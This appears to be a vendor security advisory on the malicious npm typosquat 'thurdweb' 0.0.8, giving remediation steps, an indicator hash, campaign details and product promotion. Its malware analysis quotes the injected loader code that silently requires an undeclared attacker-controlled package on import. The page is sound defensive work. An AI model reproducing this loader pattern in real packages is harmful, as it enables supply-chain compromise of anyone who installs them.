Which versions of thurdweb are malicious?

The following npm versions of thurdweb are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate thurdweb if I installed it?

thurdweb is a typosquat — you almost certainly intended a legitimately-named package. Remove thurdweb, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed thurdweb — how do I know if it already compromised me?

If thurdweb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is thurdweb part of a known attack campaign?

Yes — thurdweb is associated with the IN-MAL-2026-007355 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find thurdweb across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thurdweb (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thurdweb across your stack and pipelines.

Malicious package

thurdwebnpm

Malicious code in thurdweb (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6345

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall thurdweb

What this malware does

Package name thurdweb is a one-character substitution of the popular web3 SDK thirdweb, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (big.js / big.mjs lines 605-608) contains an injected top-level block that fires on require('thurdweb') / import 'thurdweb': try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. parket-slot is not declared in package.json dependencies, and the entire call is wrapped in an empty try/catch that silently swallows every error. package.json additionally declares log-taker@^0.0.9 as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thurdweb (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thurdweb across your stack and pipelines.
If you installed it — respond
thurdweb is a typosquat — you almost certainly intended a legitimately-named package. Remove thurdweb, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If thurdweb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks thurdweb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. thurdweb on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007355

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks thurdweb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring